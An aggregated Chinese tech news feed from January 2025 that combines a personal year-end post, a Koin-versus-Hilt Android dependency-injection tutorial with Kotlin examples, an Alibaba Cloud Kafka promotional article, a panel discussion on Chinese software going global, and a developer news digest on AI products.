聊完之后,他带我去了蛇口码头酒吧区,吃了一顿夜宵,把酒言欢,那天非常开心。虽然Cnode不如从前了,但是Node.js整体发展还是非常好的,已经普及,且稳步增长。加上短视频,小红书等冲击,传统论坛没落是必然的。

但友谊长存,致敬我们一起为Node.js布道的青春。

第二件事,戒烟

体检报告敲响了警钟,我从一个“大烟鬼”毅然决然地开始了戒烟的旅程。

到现在,已经坚持三周了。对我来说,这并不容易,但每一根没抽的烟,都是对自己的一个承诺。我希望以后能让自己活得更健康,也对得起那些关心我的人。

情绪与克制

工作总是忙碌,繁杂的事情容易让人心烦意乱。下半年,我试着克制自己的脾气,但有时还是会情绪上头,比如昨天狠狠怼了别人。事后回想总会后悔,可能我天性如此,有点难改。这里要感谢一下,没少教育我

@imyouhu

独立产品搞了一年多算是上线了

2311月有想法要做类似的产品时候市场上没有相关的竞品,24 年变化很快,后续也出现了一堆类似产品。

我思考了很多,也沉淀了很多,感谢 xdm 和 团队的信任,我感觉我下半年没有认真带领大家把产品做好,2025希望有所不同。

工作上社区的变化

  • 掘金社区结合 coze 做了一些尝试
  • 积极拥抱变化,筹备了ai知识库
  • 和豆包MarsCode 积极合作 做了很多尝试
  • 继续坚持掘金社区运营内容的投入

不一样的总结

之前写的一篇

image.png

过去几年,我没有认真写过年终总结。而今年,和狼叔的播客成了我的第一份“正式总结”。它包含了我的思考、经历,也记录了我这一年里的点滴成长。

2024年也许不完美,但我感谢每一次坚持,感谢每一个让我反思的瞬间。希望未来的日子里,能更加从容地面对生活,少一点后悔,多一些满足。

时间匆匆,路上的风景更美好。

by Captaincc at January 17, 2025 09:09 AM

juejin android

现代Android开发依赖注入框架:为何首选 Koin 而非 Hilt?

引言

在现代软件开发中,依赖注入(Dependency Injection, DI)已成为一种广泛使用的设计模式,能够有效解耦代码,提升模块化和可测试性。通过 DI,可以轻松管理依赖关系,避免手动实例化对象并显式传递依赖。Android 开发中,Hilt 和 Koin 是两大常见的 DI 框架。本文从集成难易、性能对比,跨平台性以及背后维护公司的角度,探讨为什么在现代Android开发中 Koin 更适合做为依赖注入框架。

什么是依赖注入?

依赖注入是一种设计模式,用于将对象的依赖从内部移到外部进行管理。它的主要好处包括:

  • 解耦代码:通过接口或抽象类注入依赖,降低模块之间的耦合度。
  • 提升测试性:可以使用 Mock 对象注入,方便单元测试。
  • 易于维护:通过集中管理依赖关系,减少手动创建对象的复杂性。

以下是一个没有使用 DI 的传统实现:

class UserRepository {
    fun getUser(): String = "User Data"
}

class UserService {
    private val userRepository = UserRepository()

    fun getUserInfo(): String {
        return userRepository.getUser()
    }
}

这种方式的问题在于 UserServiceUserRepository 的耦合度过高。而使用 DI,可以改为:

interface UserRepository {
    fun getUser(): String
}

class UserRepositoryImpl : UserRepository {
    override fun getUser(): String = "User Data"
}

class UserService(private val userRepository: UserRepository) {
    fun getUserInfo(): String {
        return userRepository.getUser()
    }
}

依赖通过构造函数传入,这种方式更灵活,方便测试和扩展。

什么是控制反转( IoC)?

说到依赖注入,我们常常会和控制反转这个概念弄混淆。确实这两个概念是相关的,因为实际上依赖注入是实现控制反转的一种手段。

控制反转(Inversion of Control,简称 IoC)是一种软件设计原则,旨在通过将对象的控制权从开发者控制转移到外部框架来实现解耦。这意味着对象的生命周期和依赖关系由框架或容器管理,而非由编码者自身管理。这种管理依赖的关系的控制权发生了反转,从自身交给了外部容器(框架)。比如Java中大名鼎鼎的Spring框架,就具有Ioc容器功能。

DI 是 IoC 的一种具体实现方式。它通过构造函数、方法参数或属性注入对象的依赖,从而实现控制反转。DI 框架(如 Hilt 或 Koin)可以自动管理依赖的创建和注入。

为什么要引入依赖注入?

在ViewModel中使用

先看看如果不用依赖注入框架,有一个ViewModel,现在需要给它传入不同的参数,我们会怎么做呢?

class UserViewModel(private var id: String?):ViewModel() {

为了给这个UserViewModel传入id参数,androidx的lifecycle库需要我们写一个继承自ViewModelProvider.Factory的工厂类,使用的是工厂设计模式,目的是提供一个能传参的ViewModel。

class UseViewModelFactory(private val id: String?) : ViewModelProvider.Factory {
    override fun <T : ViewModel> create(modelClass: Class<T>): T {
        if (modelClass.isAssignableFrom(UserViewModel::class.java)) {
            return UserViewModel(id) as T
        }
        throw IllegalArgumentException("Unknown ViewModel class")
    }
}

自定义了一个UseViewModelFactory,我们才能在UI中使用viewModel函数创建出这个UserViewModel对象,整个过程比较繁琐。特别是UserViewModel中需要传入多个参数或者Repository接口的不同实现类的话,创建起来会更加麻烦。

@Composable
fun UserScreen(
    id: String?,
    viewModel: UserViewModel = viewModel(
        factory = UseViewModelFactory(
            id
        )
    ),
    onBackPressed: () -> Unit = {},
)

看看使用Koin,依赖注入的方式是不是简单很多呢?

我们先在Koin的module方法里,使用简洁的DSL声明一下依赖关系

    val userModule = module {
        viewModel { (id: String) -> UserViewModel(id) }
    }

然后在项目中的MyApplication类(继承自系统的Application类)的onCreate方法里初始化一下

    override fun onCreate() {
        super.onCreate()
        startKoin{
            androidLogger()
            androidContext(this@AppBridgeApplication)
            modules(userModule)
        }
    }

这样我们就能在Compose方法组件里面使用了

    @Composable
    fun UserScreen(
        id: String?,
         viewModel: UserViewModel = koinViewModel(
            parameters = { parametersOf(id) }
        ),
        onBackPressed: () -> Unit = {},
    )

可以看到使用Koin依赖注入,我们能省掉写一个自定义的ViewModel Factory类。使用koinViewModel方法,就能直接传入想要的参数,是不是非常的方便。

多模块间的通讯服务

而且Koin的功能不止是做依赖注入,还可以实现多模块项目间的通讯服务,在Base模块定义接口,在子模块实现。能做到和ARouter一样的跨模块API调用,达到各模块间的解耦。

比如说我们在Base模块定义了一个IUserService类,来获取用户的信息。

interface IUserService {
    fun getUserInfo(): Flow<Response>
}

然后我们在User模块去实现这个类:

class IUserServiceImpl: IUserService {
    override fun getUserInfo(): Flow<Response> {
        TODO("Not yet implemented")
    }
}

接着也需要在User模块定义Koin的module方法里申明IUserService类具体实现的子类是IUserServiceImpl

val userModule = module {
    single<IUserService> { IUserServiceImpl() }
}

然后我们就能在Base模块使用injectOrNull注入方法从Koin的依赖注入容器中创建一个IUserService接口,就能调用这个服务接口里的方法了,而不用去关心这个接口的具体实现子类是谁,实现了各模块间的解耦。

private val userService: IUserService? by injectOrNull(IUserService::class.java)
userService?.getUserInfo()?.collect{
}

感兴趣的同学可以去Koin的官网查看更多使用介绍。Koin 介绍文档

为什么选择Koin?

  1. 简单且对开发人员友好: Koin 干净的 DSL、无编译时开销、最少的设置和简单的测试让您可以专注于业务逻辑的实现。
  2. 非常的小巧: 不论是小型项目还是复杂项目,Koin都是可以轻松扩展以满足您的需求。
  3. 安全性检查: Koin运行时能够进行依赖对象合法性检查,而且它的IDE 插件也即将发布,以后也不需要再羡慕Hilt的IDE插件导航了。
  4. 支持Kotlin Multiplatform: Koin因为是纯Kotlin写的,可以无缝的管理 iOS、Android、桌面和 Web 上的依赖项,使其成为跨平台开发的首选 DI 框架。
  5. 非常适合Jetpack Compose: Koin 与Jetpack Compose集成起来非常轻松,支持界面组件( ViewModel)的依赖注入,未来实现迁移到iOS的Compose Multiplatform跨平台也是非常的方便。

对比Hilt

Koin无论是使用的便捷性上还是未来非常重要的跨平台性上都是完胜Hilt的,具体对比如下:

  1. 使用Hilt需要引入hilt-compiler插件,会增加编译时间,而Koin是不需要任何插件; Hilt 通过注解处理器(Annotation Processor)生成代码,增加了编译时间。Koin使用 Kotlin DSL代码配置依赖,无需生成额外代码,对编译时间不影响。

  2. Hilt需要学习各种注解,学习曲线高@HiltViewModel@Inject@Module,@AndroidEntryPoint等,配置起来比较麻烦,而Koin配置很直观,上手容易。

@AndroidEntryPoint
class MainActivity : AppCompatActivity() {
    @Inject lateinit var repository: MyRepository

    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        setContentView(R.layout.activity_main)
        // 使用 repository
    }
}
    @HiltViewModel
    class HotNewsViewModel @Inject constructor(private val openApiRepository: OpenApiRepository)

3. 性能对比上,国外有人把Android官方使用Hilt写的Now in Android 和使用Koin重写的Now in Android APP进行基准测试对比,发现差距很小。说明Koin的性能也不差,足以应对我们的要求。

屏幕截图 2025-01-17 155520.png 4. IDE插件上,Hilt给类加上注入注解,左侧会有快捷导航图标,点击能导航到该注入类被声明的地方,非常的方便;

图片.png Koin的IDE插件目前没有,不过也即将发布,大家可以期待一波。

图片描述
  1. 跨平台性: 因为Hilt是对Java写的Dagger2框架的移动端优化,要想实现像kotlin写的Koin一样支持Kotlin Multiplatform实现跨平台,并不容易,大量的代码需要重写,恐怕未来很长一段时间都将无法做到,更适合专注于Android APP开发的团队。

从未来企业降本增效的背景下,越来越多的公司的APP开发,都开始选择了跨平台,而且人员配备上,有些公司都裁员到只剩一个Android和一个iOS来负责维护公司APP的程度了。

Koin支持Kotlin Multiplatform,Koin依赖注入的代码可以在多个平台间共享,减少了重复开发。这样公司可以招两个Android一个iOS的APP团队,UI层分别使用各自原生的UI框架Jetpack Compose和Swift UI实现,业务逻辑使用KMP实现,既能保证用户的原生体验,又能节约成本。

  1. 官方支持: Hilt 是 Android Jetpack 的一部分,有Android官方的背书,文档说明很详细,Hilt介绍文档; Koin由Kotzilla Team和社区支持,也有广泛的群众基础,文档说明也很详尽,而且Kotzilla是Kotlin基金会的银牌会员,大家无需担心后期维护的问题。Koin 介绍文档

图片.png

总结

综合以上分析,以下是选择 Koin 的主要理由:

  1. 简单易用:无需生成代码,配置直观,易于学习。
  2. 跨平台支持:能够在多种平台上使用,适合未来APP开发的趋势。
  3. 轻量级:相较于 Hilt 的复杂性,Koin 更轻便,减少了维护成本。

现代Android开发,Koin无疑是更为合适的选择,新开发Android项目我建议直接上Koin。当然现有的Android项目也可以渐进式的开始使用Koin,来替代原来的Hilt,或者二者共存也是没有问题的,大家赶紧用起来吧。

by 寻梦_finddreams at January 17, 2025 09:00 AM

juejin article

云消息队列 Kafka 版 V3 系列荣获信通院“云原生技术创新标杆案例”

2024 年 12 月 24 日,由中国信息通信研究院(以下简称“中国信通院”)主办的“2025 中国信通院深度观察报告会:算力互联网分论坛”,在北京隆重召开。本次论坛以“算力互联网 新质生产力”为主题,全面展示中国信通院在算力互联网产业领域的研究、实践与业界共识,与产业先行者共同探索算力互联网产业未来发展的方向。

会议公布了“2024 年度云原生与应用现代化标杆案例”评选结果, “云消息队列 Kafka 版 V3 系列”荣获“云原生技术创新标杆案例”。

图片

云消息队列 Kafka 版 V3 系列技术创新

云消息队列 Kafka 版 V3 系列基于阿里云强大的基础设施,对 Apache Kafka 进行了深度重构和优化,从而构建了端到端的竞争力。 其核心技术创新点包括:

  1. 利用先进的容器服务技术,显著提升了容器部署的密度和效率,大幅降低了运维成本。
  2. 依托于阿里云飞天盘古读写强一致的高性能分布式文件系统,实现了存算分离架构下 RTO(恢复时间目标)的理论最优值。
  3. 基于弹性 RDMA 网络,相较于传统的 TCP/IP 协议栈,结合 SMC-R 和 eRDMA,实现最高约 30% 的时延减少和最高约 5% 的 CPU 资源节省。
  4. 基于 AJDK 分代无暂停 GC 和 synchronized 兼容的协程,大幅度降低了长尾延迟。
  5. 基于 Alibaba Cloud Linux 3 操作系统中的 Page Cache(文件缓存)限制功能,解决了因 Page Cache无限制使用而导致的稳定性问题。

图片

云消息队列 Kafka 版 V3 系列核心优势

经济 - 成本效益

云消息队列 Kafka 版在成本上具有显著的竞争优势,与 Apache Kafka 相比,其定价平均低约 30%,在某些特定场景下,成本降幅可达 80%。如此显著的经济效益,得益于云消息队列 Kafka 版在架构层面一系列的关键优化和创新。

  • 细粒度按量计费: 云消息队列 Kafka 版 Serverless 系列提供了细粒度的计费模式,支持完全按使用量付费,而不是以云服务器 ECS 实例的粒度进行计费。
  • 计算单副本架构: 云消息队列 Kafka 版基于高性能分布式文件系统提供的分布式强一致性读写语义,实现了 Kafka 计算层的一写多读能力,Leader 写入数据,Follower 强一致可读,计算层无需多副本复制就能实现系统高可用。减少 60% 的复制流量同时也降低 CPU 使用率,大幅提升计算节点利用率。
  • 存储智能分层架构: 闪存介质支持低延迟、高吞吐,微妙级 IO 延迟,磁盘介质支持低成本,温数据高性价比存储,OSS 支持海量数据长期归档存储。通过全链路 CRC 校验保证数据不丢不错,通过纠删码/多副本保证可靠性,通过软硬件协同优化发挥效能,持续释放技术红利。
  • 使用成本优化: 云消息队列 Kafka 团队有长时间研发和运维经历,积累了大量的实战经验。结合客户的业务模型,提供 Kafka 最佳实践,客户端和服务端都有 50% 的成本优化,避免不必要的开支。同时制定容灾方案以防止数据丢失或服务中断,帮忙客户用好、用深产品。

稳定 - 稳定可靠

云消息队列 Kafka 版的稳定性是其在数据流处理等场景中备受信赖的核心优势,这得益于其强大的架构设计和管理体系,为高效、安全的数据流处理提供了坚实的保障。

  • 高可用 HA: 存算分离架构下,计算层不再需要 ISR 这样重量级的副本复制协议,我们设计了一种轻量 HA 方案,优化了元数据管理机制、降低了系统复杂度。Follower Replica 仅作为计算资源的热备存在,只保有少量必要的元数据,仅需要处理少量的元数据变化请求,进一步提高计算层的处理效率。这种架构下,新节点能够快速接管数据并提供服务,为极致弹性打下扎实基础。
  • 多可用区容灾: 云消息队列 Kafka 版支持多可用区容灾体系,并达到了秒级 RTO(恢复时间目标)和零 RPO(恢复点目标)的高标准。即使发生整个可用区不可用级别的灾难性故障,系统也能在不丢失数据的情况下秒级恢复,确保数据的持续可用性和业务的连续性。
  • 自动化巡检: 云消息队列 Kafka 版的自动化巡检系统支持秒级巡检系统运行状态,及时发现异常情况。自动化运维手段减少了人为操作的错误概率,提高了系统的敏捷性和响应速度。
  • 报警机制: 云消息队列 Kafka 版具备完善的报警功能,涵盖多种潜在的故障类型和性能问题。无论是数据积压、节点故障,还是流量异常,报警系统都能迅速通知运维人员,使其能够及时采取措施,从而进一步增强了系统的稳健性和可靠性。

性能 - 高吞吐、低延时

云消息队列 Kafka 版基于阿里自研高性能分布式文件系统、高性能 RDMA 网络和操作系统等对 Apache Kafka 存储引擎进行深度重构,实现了高吞吐、低延迟的核心竞争力。

  • 高吞吐: 飞天盘古是阿里云自研的高性能分布式文件系统,解决了超大规模下数据不丢不错和高可用的难题,兼顾更加稳定可靠的存储能力、更大的容量和更高的性能等优点,广泛部署在全球数十个大型数据中心,服务阿里云上数百万的客户,覆盖互联网、政企、金融、制造等全行业。飞天盘古是阿里云关键的创新技术之一,满足数字经济对海量存储、快速存储和稳定存储的需求,并入选世界互联网领先科技成果。
  • 低延时: 存储低延时,用户态协议栈、闪存介质和高性能 RDMA 网络支持百微秒级平均延迟,毫秒级长尾延迟。计算低延时,针对平均延迟计算层无复制流量可以充分降低网络吞吐以避免拥塞,针对长尾延迟,使用主流编程语言领域最顶尖的内存管理技术,即新一代分代无暂停 GC(generational pauseless GC),大大降低了系统长尾延时。网络低延时,基于 SMC-R 技术(Alibaba Cloud Linux 3 提供的一套完全兼容 Socket API、基于 eRDMA 的共享内存实现的高性能内核网络协议栈),Kafka 无需代码改造即可享受到 eRDMA 技术带来的网络性能红利。相较于传统 TCP/IP 协议栈,云消息队列 Kafka 版使用 SMC-R + eRDMA,能带来最高约 30% 的时延减少和最高约 5% 的 CPU 资源节省。

弹性 - 灵活弹性

云消息队列 Kafka 版 Serverless 系列以其卓越的弹性能力,为企业提供了高效的资源管理和业务连续性保障。

  • 容器化部署: 阿里云容器服务通过硬件结构体系、操作系统、分布式调度配合,实现了面向 SLO 的资源精细化管理和弹性调度:VPA,弹性,超卖等调度技术,提升了资源弹性能力和资源的利用率。节点资源自动弹性结合调度能力提供了丰富的资源弹性能力:块资源弹性,resource limit 阈值弹性,定时弹性等。通过调度和节点弹性技术大幅度提升了容器部署密度和部署效率。
  • 自适应弹性: 云消息队列 Kafka 版 Serverless 系列在 20 MB/s - 1 GB/s 支持无感弹性;1 GB/s - 3 GB/s 支持秒级弹性;3 GB/s 以上支持分钟级弹性。客户可以依据业务流量的趋势,通过弹性能力极致地平衡成本与性能,从容且高效地应对突发流量高峰。
  • 秒级定时弹性: 对于超大规模集群,云消息队列 Kafka 版 Serverless 系列支持脉冲的定时弹性,允许预设弹性策略,在流量高峰期预留足够资源确保关键业务的持续性和稳定性,在低峰期则减少资源使用以节约成本,不仅提升了资源利用率,还降低了运维复杂度。

云消息队列 Kafka 版 V3 系列应用案例

云消息队列 Kafka 版已服务数万家企业,广泛应用于互联网、金融、汽车/出行、在线教育等 20 多个行业领域。以下是两个具有代表性的案例,展示了云消息队列 Kafka 版 V3 系列在实际业务中的应用价值。

曹操出行借助 ApsaraMQ for Kafka Serverless 提升效率,成本节省超 20%

曹操出行作为中国领先的共享出行平台,致力于将互联网、车联网、自动驾驶等先进技术应用于共享出行领域。随着业务规模的不断扩大,曹操出行面临以下挑战:业务流量波动明显,突增高流量对现有技术架构造成压力;数据来源广泛,并且这些数据需要被采集、缓存、分发给不同的数据系统进行处理。

为了应对上述挑战,曹操出行选择与阿里云合作,将 Kafka 迁移上阿里云,采用 ApsaraMQ for Kafka Serverless 系列,凭借其秒级弹性扩展和按需付费的优势,在实现灵活扩缩容的同时,保证了服务的敏捷性和稳定性,并节省了超过 20% 的成本。

更多详情请查看:

曹操出行借助 ApsaraMQ for Kafka Serverless 提升效率,成本节省超 20

道旅科技借助云消息队列 Kafka 版加速旅游大数据创新发展

道旅科技作为以科技驱动的全球酒店资源批发商,需要高效管理和深入分析海量旅游数据,以便更好地把握市场动态、满足客户需求、提升业务效率和优化用户体验。因此,道旅科技打造了先进的大数据平台,并选择 Kafka 作为数据流处理的核心组件,期望其能够提供实时数据处理、高并发高吞吐的消息传递、数据持久化和可靠性、高效管理成本和资源等关键价值。

云消息队列 Kafka 版凭借高吞吐与分布式架构,满足了道旅科技的实时数据收集、传输和高并发消息传递的需求。通过持久化能力与副本机制,进一步确保了数据可靠性和业务连续性。即使在高负载情况下也能稳定传递消息,防止数据丢失,维护数据完整性,从而保障旅游大数据平台的高效运行。 云消息队列 Kafka 版 Serverless 系列采用存算分离架构,并结合动态资源调整策略,能够根据实时业务负载自动进行弹性伸缩,实现按量付费,无需预先估算和配置实例规格。不仅降低了运维工作的复杂度,还显著降低了使用成本。

更多详情请查看:

道旅科技借助云消息队列 Kafka 版加速旅游大数据创新发展

欢迎点击此处了解关于云消息队列 Kafka 版产品的更多信息~

by 阿里云云原生 at January 17, 2025 08:18 AM

oschina news industry

海外玩家开山立派,中国软件出海怎么赢得用户青睐?

12 月 26 日,开源中国邀请观测云 CEO 蒋烁淼亚马逊云科技 SA Manager 梁风飚、OceanBase CEO 杨冰、AutoMQ 联合创始人兼 CEO 王小瑞、Bytebase 联合创始⼈兼 CEO 陈天舟等企业家做客【开源漫谈】直播间,探讨我国基础软件如何出海

期间,大家聊到了中国软件要怎么在全球市场赢得客户青睐。

扫码查看直播回放:

以下内容根据直播整理:

蒋烁淼:小瑞,你们的产品在GitHub上的表现显然已经远超过国外的竞争对手。从技术上来看,是这样的吗?在市场这块,你们有什么策略来赢得全球用户的青睐?

王小瑞先说说我们为什么要开发 AutoMQ 这个软件因为 Apache Kafka,已经是一个十年前设计的产物。如今,当我们从云的角度重新审视这个产品时,发现它并不是那么适应云基础设施的需求。所以说,在云环境下我们绝对领先

然而,在开展海外业务的过程中,我们也遇到了不少挑战。海外玩家在数仓、可观测性等很多领域已经实现开山立派成为了足以定义该技术的角色。

云给了我们在全球市场跟海外产品公平竞争的机会。当然了,在云上,用户考量的维度就很多了,而不仅仅是技术能力、工程能力,或者品牌。

这与早年软件业务有很大不同。以前,合同通常是签一年或三年,客户从一款专业软件转换到另一款软件成本高,因此不会轻易更换,此外,工程师运维投入、机器采购等一系列的成本也很难算清楚。

而现在,云服务的账单是实实在在的,每一分钱都算得很清楚。因此,在技术条件相当甚至某些技术指标更优的情况下,以及在不影响软件厂商本身毛利率的情况下,我们能够为客户提供怎样的成本效益,就很关键了。

我们正在做的另一件事,就是借助行业内有影响力的KOL(关键意见领袖)为我们扩大声量。早期,我们尝试自己发布具有观点和干货的文章,但发现有点难。后来,我们开始寻找各种KOL,他们能够按照欧美文化的习惯去接触开发者,更有效地吸引这些客户和开发者的关注。通过这种方式,我们的产品获得了更多的曝光度,吸引了更多开发者的注意。

总结一下,出海的路径有两个:首先,有一个途径是通过吸引开发者,他们从下而上在公司内部推动采购一个优秀的产品。另一个方法是企业级销售,虽然我目前在这方面缺乏经验,也还没有成功案例,但我相信,通过吸引开发者的方式是可行的。我现在还不能确定具体比例,但我认为这个比例不会小,因为海外市场足够大。通过开发者群体来触达市场,我们一定能够获得相当可观的客户量。

蒋烁淼: Bytebase算是一个带有新品类特征的产品。想问下天舟,对于这样一个新品类软件你们如何在全球市场上与一些传统软件进行竞争呢?

陈天舟:我认为国内软件的核心底层竞争力,就是要充分利用好“工程师红利”——国内有大量受过良好教育的工程师群体。这一点无论是对于新品类还是旧品类的产品都是适用的。

做新品类,面临的挑战之一就是要教育市场。一个很简单的方法是类比,帮助我们向用户解释产品。比如我们可以用Terraform来类比,因为它是管理多云的,而我们是管理多数据库的;另外,像上一代产品如flyway、liquibase 。以及在某种程度上与我们的产品有交集的软件,比如 Navicat,也是可以用来作比较的。让大家了解 Bytebase 与这些产品的差异化之处,解决了哪些问题,这样能够更好地推广我们的产品。

当然了,这需要从内容上持续进行输出。


【开源漫谈】

OSCHINA 视频号直播畅聊栏目【开源漫谈】,每期一个技术话题,三五位专家围坐,各抒己见,畅聊开源。给大家带来最新的行业前沿、最热门的技术话题、最有趣的开源项目、最犀利的思想交锋。如果你手上也有新点子、好项目,想要跟同行交流分享,欢迎联系我们,讲坛随时开放~

by 原创 at January 17, 2025 08:12 AM

juejin article

MiniMax TTS新模型T2A-01-HD:情感控制10秒克隆限时免费;真人表演+文本命令,Kinetix精准生成角色动作

开发者朋友们大家好:

这里是**「RTE 开发者日报」**,每天和大家一起看新闻、聊八卦。我们的社区编辑团队会整理分享 RTE(Real-Time Engagement) 领域内「有话题的 新闻 」、「有态度的 观点 」、「有意思的 数据 」、「有思考的 文章 」、「有看点的 会议 」,但内容仅代表编辑的个人观点,欢迎大家留言、跟帖、讨论。

本期编辑:@qqq,@鲍勃

01 有话题的技术

1、Kinetix 推出全新 AI 视频技术 可精准控制角色动作

在数字创作领域的技术竞争日趋白热化之际,Kinetix 推出了一项令人瞩目的 AI 视频技术,让角色动作控制达到了新的精准度。这项技术通过创新性地结合真人表演视频和文本指令,实现了对数字角色动作的精确操控。

该系统的操作流程出奇简单:创作者只需上传一段真实的动作视频,比如自己录制的一段挥手或跳舞画面,再配上相应的文本描述,如「角色微笑并挥手」,系统就能将这些输入转化为数字角色的精准动作表现。这种方式与 Runway 的 Act One 颇为相似,都致力于简化动画创作流程。

在功能方面,该系统展现出极强的适应性。无论是简单的挥手、点头、鞠躬,还是复杂的舞蹈、跑步等全身性动作,甚至是微笑、皱眉、惊讶等细腻的表情变化,系统都能精确捕捉和重现。更值得一提的是,创作者还可以通过调节动作的速度、幅度和节奏,对角色的表现效果进行更细致的调整。

作为全球领先的 3D 动画数据库支持者,Kinetix 拥有数百万个高质量动作片段和数亿个 3D 全身姿态数据。这些海量数据为系统提供了强大的基础支持,确保生成的角色动作细节精准到位,从手势、表情到身体姿态都栩栩如生。系统还配备了先进的合成数据生成管道,能够根据不同场景需求自动生成多样化的新动作。

这项技术最显著的优势在于其 democratic 化的特性。即使没有专业动画制作经验的用户,也能在短短几分钟内创作出专业水准的动画内容。相比传统动画制作动辄数周甚至数月的周期,Kinetix 将制作时间压缩至数小时,同时大幅降低了制作成本,为中小型团队和个人创作者提供了前所未有的创作可能。(@ AIbase 基地)

2、微软 AutoGen v0.4 发布:AI 智能体灵活性和跨语言能力大提升

微软近日发布了 AutoGen v0.4 版本,这是其用于 AI 代理的编排框架。这一更新旨在增强 AI 代理的灵活性和可控性,以满足用户对功能扩展和观察能力的需求。

AutoGen 自推出以来,受到了开发者的广泛关注,但用户在使用过程中也遇到了一些架构限制、效率低下的 API 及调试和干预功能不足等问题。

在新版本中,微软重点提升了框架的模块化和可扩展性。AutoGen v0.4 引入了异步消息传递机制,使得基于该框架构建的代理能够支持事件驱动和请求交互模式。这一改进使得开发者可以更加方便地添加插件组件,构建长期运行的代理,同时还可以设计更为复杂和分布式的代理网络。

此外,AutoGen v0.4 的扩展模块简化了多代理团队和高级模型客户端的协作管理,并为开源开发者提供了更好的扩展管理功能。为了提升用户对代理交互的观察能力,AutoGen v0.4 内置了指标追踪、消息追踪和调试工具,使得用户可以实时监控代理之间的互动。

该框架还实现了跨语言的互操作性,目前支持 Python 和。NET 语言,未来将支持更多编程语言。微软对 AutoGen 框架进行了重构,清晰地定义了框架、工具和应用程序之间的责任。新框架分为三个层次:核心层为事件驱动系统的基础构件;AgentChat 层是基于核心层构建的任务驱动高层 API,具备群聊、代码执行和预构建代理功能;第一方扩展则与 Azure 代码执行器和 OpenAI 模型客户端等集成。

与此同时,微软对 AutoGen Studio 也进行了升级,这是一种低代码界面,可用于快速原型设计代理。用户能够实时获取代理更新,暂停对话或在执行过程中重新引导代理,还可以通过拖拽界面设计代理团队,导入自定义代理并获得互动反馈。

微软自 2023 年 10 月推出 AutoGen 以来,致力于简化代理之间的沟通。随着 AI 代理的不断发展,微软也推出了其他代理系统,如 Magentic-One,形成了庞大的 AI 代理生态系统。而竞争对手如 Salesforce、ServiceNow 和 AWS 也在不断增强其代理系统的能力,以追赶微软的步伐。(@ AIbase 基地)

3、视觉语言模型安全升级,还不牺牲性能,淘天 MMLab 南大重大出品

当「多模态」「跨模态」成为不可阻挡的 AI 趋势时,多模态场景下的安全挑战尤其应当引发产学研各界的注意。

应对挑战,淘天集团未来生活实验室团队联手南京大学、重庆大学、港中文 MMLab 提出了一种全新的视觉语言模型(VLM)安全对齐方法,PSA-VLM(Progressive Safety Alignment for Vision-Language Models)。

PSA-VLM 通过基于概念瓶颈模型(CBM)的架构创新,允许模型在生成答案时干预模型的中间层概念预测,从而优化大模型的最终回复,显著提升 VLM 在应对视觉安全风险方面的性能。这一方法不仅在安全性能上取得了卓越的表现,同时保持了模型的通用任务能力。

视觉语言模型的安全隐忧:从「黑箱」到「可控」

近年来,大语言模型(LLMs)的发展促进了多模态学习的进步,使这些强大的语言模型能够处理来自多种模态的信息。其中,视觉语言模型(VLMs)通过整合图像和文本特征,在视觉问答、图像描述以及多模态推理等任务上取得了显著成果。

然而,尽管 VLMs 取得了诸多进展,但其安全性仍然存在重大缺陷。研究发现,在遭遇攻击时视觉模态表现出特别的脆弱性,针对 VLM 中视觉模态的攻击更容易成功: 人们可以通过简单的攻击手段绕过语言模型基座已有的安全对齐机制,生成有害内容 。虽然一些研究探索了针对多模态模型的防御和对齐措施,然而,现有防御方法通常基于直觉设计并通过数据驱动的端到端训练实现。模型仍然是一个人类难以理解和控制的黑箱 。此外,模型的高复杂性也带来了发现内部潜在缺陷的担忧,这都带来了模型具备可解释性和可控性的需求。

为了克服这些局限性,PSA-VLM 的创新在于引入了概念瓶颈模型的核心思想——通过一层可解释的高阶概念连接输入和输出,实现模型的透明化与可控性。

这不仅让模型能够准确识别不安全内容,还支持用户在概念层面对模型预测进行干预,为高风险场景提供了灵活可靠的解决方案。(@量子位)

02 有亮点的产品

1、 MiniMax 推出 TTS 模型 T2A-01-HD:微妙情感控制、录音室级效果、限时免费

MiniMax 推出了 T2A-01-HD ,这是文本转音频技术的又一突破。凭借无与伦比的多功能性、情感深度和多语言真实性,该型号重新定义了语音合成的可能性。以下是它与众不同之处:

无限的语音自定义:

1️⃣仅用 10 秒的音频即可克隆声音,保留每个细微差别和情感底色。-访问按语言、性别、口音、年龄和风格分类的 300 多个预建声音库。-使用高级参数控制自定义音调、速度和情感基调,获得动态效果。

2️⃣添加室内声学和电话滤波器等专业效果,获得录音室级效果。

复杂的情商:

1️⃣通过业界首个智能情感系统捕捉和复制语音中微妙的情感细微差别,让语音栩栩如生。

2️⃣选择自动情绪检测或手动控制,获得完美表达的语音。

真正地道的语言专业知识:

流利地说 17 种以上的语言,自然的口音反映出地道的地区性。

支持的语言包括:

  • 英语(美国、英国、澳大利亚、印度)

  • 中文(普通话和粤语)

  • 日语、韩语、法语、德语、西班牙语、葡萄牙语(包括巴西葡萄牙语)、意大利语、阿拉伯语、俄语、土耳其语、荷兰语、乌克兰语、越南语和印尼语。

该列表会不断更新以包含更多语言(@ Hailuo AI (MiniMax)@X)

2、腾讯会议 AI 小助手 Pro:深度理解和快速响应会议信息

近日,腾讯会议宣布了一项重大产品升级,正式推出了 AI 小助手 Pro,并对组织协同功能进行了全面优化。这一消息引起了广泛关注。

据悉,AI 小助手 Pro 是基于腾讯混元千亿级参数大模型打造的一款智能工具。它能够深度理解和快速响应会议信息,依托历史和实时会议内容,为用户提供更加精准和有针对性的回答。这款智能助手不仅支持联网搜索,还能处理文件或图片提问,进行文案创作、报告解读、方案策划等多种任务。在会议中,AI 小助手 Pro 甚至可以帮助用户分析 PPT,无论是会中还是会外,都能发挥重要作用。

除了 AI 小助手 Pro 的推出,腾讯会议还针对会议通知和录制分享等痛点进行了改进。用户现在可以在腾讯会议内创建组织,预定会议时直接在通讯录中勾选内外部联系人,日程将自动同步到对方会议列表,并通过多种渠道提醒参会人准时参加。如果需要拉入新的参会者,只需在通讯录中发起呼叫,对方接听即可入会,大大提升了会议效率。

此外,腾讯会议还优化了云录制分享功能。用户会后可将云录制内容快捷分享给通讯录内外部联系人,对方直接在腾讯会议客户端的「录制」模块就能查看,不仅方便快捷,还能有效防止录制链接泄露。

值得一提的是,此次升级后,腾讯会议新增了个人身份认证和企业认证功能。专业版、商业版和企业版用户在沟通时,可以在个人资料卡、会议水牌中展示认证信息,进一步提升了会议的专业性和安全性。(@ AIbase 基地)

03 有态度的观点

